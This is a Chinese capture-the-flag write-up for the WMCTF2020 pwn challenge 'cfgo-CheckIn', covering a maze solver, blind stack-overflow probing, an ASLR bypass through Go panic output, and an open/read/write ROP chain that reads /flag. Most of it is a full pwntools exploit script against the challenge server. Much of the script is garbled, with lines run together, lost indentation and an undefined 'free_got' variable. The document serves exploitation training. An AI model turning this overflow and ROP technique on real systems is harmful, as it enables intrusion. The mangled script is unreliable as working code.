【pwn】WMCTF2020 cfgo-CheckIn
拿到二进制后先解UPX,解完后发现程序还是很复杂,发现是cgo,做题的时候不知道有没有这种的插件支持,问了下做逆向的队友,似乎插件版本没有更新到这个版本,静态分析没有进展,先看看远程服务是跑啥的。
一个迷宫,走到旗子的位置就行了,一共100关,一波深搜就行了,解决了100关后出现了。
在二进制中搜索字符串无果,就当blind pwn做了,输入name后程序就退出了,可能存在的漏洞格式化字符串以及溢出,尝试发现没有格式化字符串漏洞,然后尝试溢出。当输入了0x78个字符后发现出现了报错信息。这里报错信息还是很多的应该和go有关系,C的报错才不会和你多bb
io.sendline('b'*0x10+'a'*0x60+p64(0xdeadbeef))
报错信息为unexpected fault address,addr是0xdeadbeef,然后尝试只溢出一个字节。
io.sendline('b'*0x10+'a'*0x60+p8(0x10))
发现没有报错,但是输出数据出现奇怪的东西。
于是猜测这个地址是存放输入字符串的位置,所以这边存在一个任意地址读,但只有一个这个没啥用,还要继续往后溢出,但是这里输出的指针需要输入一个合法的地址,注意到上面报错中有fp,sp两个值是比较奇怪的地址,在本地测试发现进程中存在这一块地方的内存。在fp指向的地址附近测试,找到了输入数据的位置。多次测试发现这块内存空间的地址不会随机化。
io.sendline('b'*0x10+'a'*0x60+p64(0xc000049d70))
继续往后溢出。
io.sendline('b'*0x10+'a'*0x60+p64(0xc000049d70)+p64(0x20)+p64(0x20)+'a'*0x88+p64(0xdeadbeef))
这时发现报错信息中pc变成了0xdeadbeef那么这里很有可能是函数的返回地址,那么溢出一个字节尝试,发现’\xce’可以返回到input name的那个逻辑中,并且从报错信息中可以bypass aslr,那就可以进一步利用了,剩下的就是基础的ROP了。在做题中发现system(’/bin/sh’)无法getshell(后来看了下Nu1L的解题,这里不用ret2libc,给的二进制程序中有足够的gadget可以直接系统调用,比赛的时候忘记看了)。尝试orw,这里有个需要注意的地方,在read的时候文件描述符3无法正确地读出flag的值。本地调试查看fdinfo发现fd是6。
from pwn import *io=remote('81.68.174.63',62176)
ELF('./pwn')
#io=process('./pwn')
libc=ELF('./libc-2.31.so')
#libc=ELF('./libc-2.23.so')def check_valid(mg, x, y):if x >= 0 and x < len(mg) and y >= 0 and y < len(mg[0]) and mg[x][y] == 1:return Trueelse:return Falsefor k in range(100):io.recvuntil('level')io.recvline()line=io.recvline()line1=[]for i in range(0,len(line[:-1]),3):line1.append(line[i]+line[i+1]+line[i+2])msg=[]t=[]for i in line1:if i=='\xe2\xac\x9b':t.append(0)msg.append(t)dstx=0dsty=0srcx=0srcy=0for j in range(len(line1)-1):t=[]line=io.recvline()linen=[]i=0while line[i]!='\n':if line[i]=='\xe2':if (line[i]+line[i+1]+line[i+2])=='\xe2\xac\x9b':t.append(0)else:t.append(1) i+=3else:if (line[i]+line[i+1]+line[i+2]+line[i+3])=='\xf0\x9f\x9a\xa9':t.append(1)srcx=len(msg)srcy=len(t)-1else : t.append(1)dstx=len(msg)dsty=len(t)-1i+=4 msg.append(t)path=""def walk(mg, x, y,path):s=pathif x == srcx and y == srcy:io.sendline(s)if check_valid(mg, x, y):mg[x][y] = 2walk(mg, x, y+1,s+'d')walk(mg, x, y-1,s+'a')walk(mg, x-1, y,s+'w')walk(mg, x+1, y,s+'s')walk(msg, dstx, dsty,path)io.recvuntil('your name:')
io.sendline('b'*0x10+'a'*0x60+p64(0xc000049d70)+p64(0x20)+p64(0x20)+'a'*0x88+p8('\xce')))
io.recvuntil('Your name is : ')
base=u64(io.recv(8))-0x1666c0
print(hex(base))
print(hex(u64(io.recv(8))))
print(hex(u64(io.recv(8))))
print(hex(u64(io.recv(8))))start_main=base+0x01EEFD0io.sendline('b'*0x10+'a'*0x60+p64(start_main)+p64(0x20)+p64(0x20)+'a'*0x88+'\xce')
io.recvuntil('Your name is : ')
start_main_add=u64(io.recv(8))libc_base=start_main_add-libc.sym['__libc_start_main']print(hex(libc_base))pop_rdi=base+0x0109d3dpop_rsi=libc_base+0x27529pop_rdx=libc_base+0x011c1e1write=libc_base+libc.sym['write']fopen=libc_base+libc.sym['open']read=libc_base+libc.sym['read']ddir=libc_base+libc.sym['getdents64']bss=base+0x21B9CDmain=base+0x1197CEio.sendline('b'*0x10+'a'*0x60+p64(free_got)+p64(0x20)+p64(0x20)+'a'*0x88+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(100)+p64(0)+p64(read)+p64(pop_rdi)+p64(bss)+p64(pop_rsi)+p64(0)+p64(fopen)+p64(pop_rdi)+p64(6)+p64(pop_rsi)+p64(bss+0x100)+p64(pop_rdx)+p64(4096)+p64(0)+p64(read)+p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(bss+0x100)+p64(pop_rdx)+p64(4096)+p64(0)+p64(write)+p64(main))io.sendline('/flag\x00')io.interactive()
【pwn】WMCTF2020 cfgo-CheckIn相关推荐
- 【pwn】长安杯baigei
[pwn]长安杯baigei 前言 这场和das月赛重了,当时这个baigei题没仔细看,长安杯就解了两道jar包web的送分题,国庆开始补题 漏洞分析 最基本的菜单,增删改查都有的那种,漏洞在于ad ...
- 【pwn】2022 极客大挑战
[pwn]2022 极客大挑战 前言 又是一年的极客大挑战,又老了一岁,也只有打打新生赛才能有第一次接触ctf快乐了,现在各种比赛的pwn都是纯纯的坐牢~ 本次题解的所有脚本使用的类库都是本人自己整合 ...
- 【pwn】攻防世界 pwn新手区wp
[pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...
- 【pwn】2021 鹤壁杯 wp
[pwn]2021 鹤壁杯 wp 前言 这场比较简单,但是也看到了自己急于求成的下场,基础知识非常不牢固,很多调试手段都太拉了,逆向能力也是非常差,还是得跟着师傅们继续学啊! 1.ret2libc1 ...
- c++字符串输入_【pwn】什么是格式化字符串漏洞?
0x00 前言 格式化字符串漏洞是在CWE[1](Common Weakness Enumeration,通用缺陷枚举)例表中的编号为CWE-134,由于在审计过程中很容易发现该漏洞,所以此类漏洞很少 ...
- 【PWN】07.ret2syscall
参考:ret2syscall_Re1own的博客-CSDN博客 pwn小白入门05---ret2syscall_苏璃只想划水的博客-CSDN博客 ret2syscall,即通过ROP控制程序执行系统调 ...
- 【pwn】2020GEEKPWN复现
参考师傅的博客,复现一手2020GEEKPWN. 1.babypwn 思路: 1)fb 泄漏 heap_base,通过堆溢出修改 size,释放进 ub,泄漏 libc 2)然 ...
- 【CTF】【PWN】【UAF】【萌新友好向wp】hitcontraining_uaf
因为本人也是个菜鸡,这道题的反编译又很阴间,所以我花了比较长的时间读反编译代码,也是一步一步理解的整个过程,感觉有一些收获,所以就想写一个比较详细的wp,个人觉得是我看到的最详细的wp了. 请♂享♂用 ...
- 【PWN】格式化字符串漏洞原理
今天做Dest0g3 520迎新赛的dest_love,发现是格式化字符串问题,但是由于其内容保存在了bss区,导致无法像过去那样简单利用,坐牢半天没做出来,但恰巧遇到了,就复习一下格式化字符串漏洞的 ...
最新文章
- Asp.net 1.0 升级至 ASP.NET 2.0十个问题总结
- 15 种 SQL 优化中,老司机才懂的处理技巧
- 替换libc中的内存分配函数
- 【OpenCV3】阈值化操作——cv::threshold()与cv::adaptiveThreshold()详解
- Linux之ubuntu的root无法连接FTP
- iOS10 CallKit简单开发
- Cassandra,MongoDB,CouchDB,Redis,Riak,HBase比较
- serial port 的操作
- 编程学不来就去当产品经理,没那么简单!
- ubuntu 18.04 ip固定
- 解读《新一代人工智能发展规划》,企业如何才能迎来产业高潮
- 考研数学三部曲之大话线性代数
- java vo转map_Java对象与map对象相互转换
- DB2 INTERSECT、EXCEPT、UNION集合操作测试
- 干货:机器人开源操作系统ROS
- layer 弹出框(iframe层)父子页面传值
- Django之中间件,csrf跨站伪造请求,auth认证模块
- php 调用 C++
- 如何发现Synaptics病毒
- FlexRay学习笔记_1